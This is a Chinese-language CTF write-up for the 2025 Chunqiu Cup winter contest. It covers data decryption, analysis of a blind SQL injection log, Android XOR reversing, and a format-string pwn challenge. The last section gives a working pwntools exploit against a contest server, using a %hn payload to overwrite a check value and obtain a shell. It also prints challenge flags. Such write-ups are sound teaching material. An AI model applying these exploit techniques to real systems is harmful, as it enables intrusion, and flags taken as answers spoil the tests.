文章总结: 本文档详述了2025春秋杯网络安全联赛冬季赛个人赛题解,涵盖WEB、MISC、Crypto及逆向等领域。内容包括Git泄露、PHP反序列化、SQL注入、流量分析、RSA解密及Android逆向等技术的利用与脚本。文档提供了从漏洞分析到获取Flag的完整流程,适合CTF实战参考与学习。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,逆向分析,实战经验
数据处理与分析3-失灵的遮盖
#!/usr/bin/env python3
import hashlib
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import binascii
SALT = b"Hidden_Salt_Value"
IV = b"Dynamic_IV_2026!"
def get_key(uid):
return PBKDF2(uid, SALT, dkLen=16, count=1000)
def decrypt_data():
# 字符映射表(混淆逻辑)
obfuscation_map = {
'0': 'm', '1': 'n', '2': 'b', '3': 'v', '4': 'c',
'5': 'x', '6': 'z', '7': 'l', '8': 'k', '9': 'j',
'a': 'h', 'b': 'g', 'c': 'f', 'd': '?', 'e': 's', 'f': 'y'
}
# 逆向映射表
reverse_map = {v: k for k, v in obfuscation_map.items() if v != '?'}
# 根据映射规律,d应该映射到哪个字母?
# 从a-z的字母顺序和映射来看,d应该对应i(h->a, g->b, f->c, ?->d, s->e, ...)
reverse_map['d'] = 'd'# 从样本看,d似乎映射到d本身?我们试试
print("逆向映射表:")
for k in sorted(reverse_map.keys()):
print(f" {k} -> {reverse_map[k]}")
# 读取加密数据
import csv
decrypted_data = []
with open("C:/Users/ZhuanZ(无密码)/Downloads/失灵的遮盖-a953e87adf1c49785e54c3436bddc5fb/user_data_masked.csv", 'r') as f:
reader = csv.reader(f)
header = next(reader) # 跳过表头
print(f"\n{header[0]:<10} {header[1]:<15} {header[2]:<40} -> 解密结果")
print("-" * 100)
for row in reader:
if len(row) != 3:
continue
user_id, username, masked_phone = row
# 逆向混淆,还原十六进制
hex_data = ""
valid = True
for char in masked_phone:
if char in reverse_map:
hex_data += reverse_map[char]
else:
# print(f"警告: 遇到未知字符 '{char}'")
hex_data += char # 假设是直接映射
# 十六进制解码
try:
encrypted_data = binascii.unhexlify(hex_data)
except:
print(f"错误: 无法解码十六进制 {hex_data[:50]}...")
continue
# AES解密
try:
key = get_key(user_id.encode())
cipher = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded = cipher.decrypt(encrypted_data)
# 移除PKCS7填充
pad_len = decrypted_padded[-1]
decrypted = decrypted_padded[:-pad_len].decode('utf-8')
decrypted_data.append([user_id, username, decrypted])
print(f"{user_id:<10} {username:<15} {masked_phone:<40} -> {decrypted}")
except Exception as e:
print(f"解密失败 for user {user_id}: {e}")
continue
# 保存解密结果
with open("c:/Users/ZhuanZ(无密码)/CodeBuddy/20260201090416/decrypted_phones.csv", 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(["user_id", "username", "phone"])
writer.writerows(decrypted_data)
print(f"\n解密完成!结果已保存到 decrypted_phones.csv")
print(f"共解密 {len(decrypted_data)} 条记录")
return decrypted_data
if __name__ == "__main__":
decrypt_data()
通过 sample_leak.txt 中的样本:
原始手机号:13810000000
混淆结果:hxnxvjlkjcngzsycbsjbymygvbfjzjfv
0→m, 1→n, 2→b, 3→v, 4→c, 5→x, 6→z, 7→l, 8→k, 9→j
a→h, b→g, c→f, d→d, e→s, f→y
密钥派生:使用PBKDF2从user_id派生16字节密钥
SALT = b"Hidden_Salt_Value"
迭代次数 = 1000
AES加密:使用AES-128-CBC加密原始数据
IV = b"Dynamic_IV_2026!"
成功解密了 user_data_masked.csv 中的所有100条记录!
flag{a0f8c2e5-1b74-4d93-8e6a-3c9f7b5d2041}
数据处理与分析4-隐形的守护者
在线工具https://tools.qwerto.cc/blind_watermark/
Log_Detective
位置 (n) ASCII 码 对应字符 来源依据
1 - 5 102, 108, 97, 103, 123
flag{
6 - 11 98, 108, 49, 110, 100, 95
bl1nd_
12 - 16 115, 113, 108, 49, 95
sql1_
17 - 21 116, 49, 109, 51, 95
t1m3_
22 - 27 98, 52, 115, 51, 100, 95
b4s3d_
28 - 32 108, 48, 103, 95, 102
l0g_f
33 - 37 48, 114, 51, 110, 115
0r3ns
38 - 41 49, 99, 115, 125
1cs}
flag{bl1nd_sql1_t1m3_b4s3d_l0g_f0r3ns1cs}
RE1-Secure Gate
使用工具(如 JADX-GUI)反编译 APK,定位到主逻辑类 com.icqctf.signcheck.MainActivity。
在 m125lambda$onCreate$0$comicqctfsigncheckMainActivity 方法中,可以看到解密流程:
调用 SignUtils.getAppSignature(this) 获取当前应用的签名。
将签名字符串作为密钥,传入 decrypt 函数。
对内置的 SECRET_DATA 字节数组进行解密。
private String decrypt(byte[] bArr, String str) {
byte[] bytes = str.getBytes();
byte[] bArr2 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
}
return new String(bArr2);
}
解密
# 题目内置的加密数据
secret_data = [86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30]
# 提取到的 SHA1 密钥
key = "0fbf65802a94649f01920c2a0966c2934e817f73"
# 执行 XOR 解密
flag = "".join([chr(secret_data[i] ^ ord(key[i % len(key)])) for i in range(len(secret_data))])
print(f"解密结果: {flag}")
RE2-talisman
printf(s, &dword_202010, (char *)&dword_202010 + 2);
漏洞原理:程序直接将用户输入 s 作为 printf 的第一个参数(格式化字符串),而没有使用 %s。
后果:我们可以通过输入 %p、%x 来泄露栈上的数据,或者使用 %n 往指定的内存地址写入数据。
if ( dword_202010 == -889275714 ) // 这里的十六进制是 0xCAFEBABE
只有当全局变量 dword_202010 的值等于 0xCAFEBABE(即有符号整数的 -889275714)时,程序才会打印 Flag 并给你一个 Shell。
关键点: 注意到 printf 调用时,开发者“贴心”地(或者说是故意留出的后门)把 &dword_202010 及其偏移地址作为参数传给了 printf:
参数 2 (%2$p 左右的位置): &dword_202010
参数 3 (%3$p 左右的位置): &dword_202010 + 2
from pwn import *
# 连接服务器
io = remote('59.110.158.148', 34861)
# 目标值 0xCAFEBABE
# 低位 0xBABE = 47806
# 高位 0xCAFE = 51966
# 差值 = 51966 - 47806 = 4160
payload = "%47806c%1$hn%4160c%2$hn"
io.sendlineafter("Payload):", payload)
io.interactive()
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《2025春秋杯网络安全联赛冬季赛个人赛》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论